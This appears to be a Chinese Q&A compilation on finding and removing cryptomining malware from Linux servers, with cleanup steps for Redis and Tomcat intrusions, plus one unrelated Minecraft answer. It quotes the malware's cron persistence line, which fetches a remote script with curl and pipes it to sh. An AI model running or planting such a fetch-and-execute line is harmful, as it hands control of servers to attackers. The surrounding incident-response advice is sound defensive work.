求助服务器被挖矿程序入侵,如何排查
新客户于最近向我们SINE安全公司咨询,说他的服务器经常卡的网站无法打开,远程连接
服务器的慢的要命,有时候PING值都达到300-500之间,还经常掉包,听客户这么一说,一般
会判断为受到了CC+DDOS混合流量攻击,再具体一问,说是机房那面没有受到流量攻击,这
就有点奇怪了,不是流量攻击,还导致服务器卡,网站无法打开,这是什么攻击?为了解决客
户服务器卡的问题,我们随即安排安全工程师对他的Linux服务器进行了安全检测与安全部署。
SSH远程登录客户的Linux服务器,查看当前的进程发现有一个特别的进程占用了百分之100
的CPU,而且会持续不断的占用,我们查了查该进程,发现不是linux的系统进程,我们对进程
的目录进行查看,发现该进程是一个木马进程,再仔细进行安全分析,才确定是目前最新的挖
矿木马病毒,挖的矿分很多种,什么比特币,什么罗门币的,太多太多,看来现在的挖矿技术
扩展到了入侵服务器进行肉鸡挖矿了。
挖矿木马的检测与清除
我们在系统的目录下发现了挖矿木马主要是以 Q99.sh命名的文件来控制客户的linux服务器,看
里面写的代码是以root权限运行,并自动启动计划任务,当服务器重启时继续执行计划任务,
导致客户怎么重启都于事无补,还是卡的要命。该木马代码还调用了一些Linux系统命令,bashe
bashd来挖矿,该命令是最直接也是占用CPU到顶峰的关键,太粗鲁了,这样的挖矿本身就会让
客户发现问题,看来挖矿者只顾着赚钱,不考虑长久之道了。
挖矿木马还设计了挖矿进程如果被客户强制停止后,会自动启动继续挖矿,达到不间断的挖矿,
仔细检查发现是通过设置了每个小时执行任务计划,远程下载shell挖矿木马,然后执行,检查
当前进程是否存在,不存在就启动挖矿木马,进行挖矿。
对客户的linux服务器进行详细了安全检测发现幸亏没有加密服务器的数据,以及感染蠕虫的病
毒,如果数据被加密那损失大了,客户是做平台的,里面的客户数据很重要,找出挖矿木马后,
客户需要知道服务器到底是如何被攻击的? 被上传挖矿木马的? 防止后期再出现这样的攻击
状况。
通过我们安全工程师的安全检测与分析,发现该服务器使用的是apache tomcat环境,平台的开
发架构是JSP+oracle数据库,apache tomcat使用的是2016年的版本,导致该apache存在严重
的远程执行命令漏洞,入侵者可以通过该漏洞直接入侵服务器,拿到服务器的管理员权限,
SINE安全工程师立即对apache 漏洞进行修复,并清除木马,至此问题得以解决,客户服务器
一切稳定运行,网站打开正常。
服务器被检测出挖矿
有位朋友说,他服务器使用的好好的,服务商突然封了他服务器,说是被检测出挖矿,这位朋友一脸懵“我开游戏的,挖什么矿”。突然地关停服务器导致这位朋友损失惨重,那么为什么会被检测出挖矿,以及怎么处理呢?感兴趣的话就继续往下看吧~
遇到以上问题,需要先找服务器商对其说明实际情况,配合他们排查,基本上就是中了挖矿病毒。
最简单的方法就是重装系统,但是系统盘数据都会清空,这种办法适用于服务器里没什么需要备份的文件。如果选择重装系统,需要把自己的文件扫毒一遍确认安全后再导入服务器。
但是服务器里如果有很多重要的文件还有比较难配置的环境,那就需要排查删除挖矿程序,全盘扫毒,删除可疑文件,一个个修复病毒对系统的修改。
防范建议:
1.尽量不要使用默认密码和端口,改一个比较复杂的密码
2.可以使用宝塔面板登陆服务器
3.系统自带的防火墙、安全防护都不要关闭
阿里云服务器被挖矿了怎么办?(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL | sh
病毒文件内容如下,感兴趣的可以研究下:
 View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
我的世界服务器怎样玩啊,为什么我在矿物区挖不了矿石
1.服务器很卡,就会出现挖矿不掉
2.你的镐子无法挖该类型的矿(例:木镐挖钻石矿)
3.该世界被设定为挖坑不掉落
服务器被rshim挖矿病毒攻击后 HugePages_Total 透明大页怎么都清不掉 一直占用内存 球球?
问题定位及解决步骤:
1、free -m 查看内存使用状态 ,发现free基本没了。-- 怀疑是服务有内存泄漏,开始排查
2、使用top命令观察,开启的服务占用内存量并不大,且最终文档在一个值,且服务为java应用,内存并没达到父jvm设置上限。按top监控占用内存排序,加起来也不会超过物理内存总量。查看硬盘使用量,占用20%。基本排除虚拟内存占用过大的原因。---排除服务内存泄漏因素,怀疑mysql和nginx,开始排查
3、因为top命令看 mysql占用内存也再可控范围,是否存在connection占用过多内存,发现并不会,设置最大连接数为1000,最多也不会超过几M。 nginx占用一直非常小。但每次最先被kill的基本都是nginx进程。所以排查,但发现无非就是openfiles数量啥的调整。发现也一切正常。且之前niginx可以正常使用的。
4、最为费解的就是 通过free -m 查看的时候 基本全是used,cache部分很少,free基本没有。但top上又找不到有哪些进程占用了内存。无解
5、注意到有两个进程虽占用内存不多,但基本耗光了100%的cpu。开始想着占cpu就占了,没占内存,现在是内存不不够导致进程被kill的,就没注意这点。
6、实在搞不定,重启服务器,重启了所有服务,服务暂时可用,回家。在路上的时候发现又崩了。忐忑的睡觉。
7、早上起来继续看,这次留意注意了下那两个占用高cpu的进程,kdevtmpfsi 和 networkservice。本着看看是啥进程的心态,百度了下。真相一目了然,两个挖矿病毒。
突然后知后觉的意识到错误原因:
1、cpu占用率高,正常服务使用cpu频率较高的服务最容易最内存超标。(因为在需要使用cpu时没cpu资源,内存大量占用,服务瞬间崩溃),然后看top发现刚刚已经占用内存的进程已经被kill了,所以没发现内存有高占用的情况。
2、后面的应用继续使用cpu时也会发生类似情况,倒是服务一个一个逐渐被kill。
问题点基本定位好了,解决问题就相对简单很多:
通过百度,google,常见的病毒清除步骤基本都能解决。这两个挖矿病毒很常见,大致记录下要点。可能所有病毒都会有这些基础操作。
① 首先,查看当前系统中的定时任务:crontab -l
我服务器上有四个定时下载任务 通过wget 和 curl 下载病毒文件,把异常的删掉。要不然删了病毒文件还是会下载下来
crontab -r,全部删除命令(或根据需求删除定时任务)
② 查找病毒文件 可以全部模糊搜索 清除, 但病毒文件基本都用了chattr +i命令 使用chattr -i filename 后再使用rm -f filename 。可删除
③ kill 病毒进程,但注意kill了可能马上就重启了。因为有守护进程,需要把病毒进程的守护进程也kill掉
④ 检查是否root用户被攻击,可能系统配置信息被更改。
⑤ 最好能理解病毒脚本,通过看代码看它做了些什么。针对脚本取修复系统。
0条大神的评论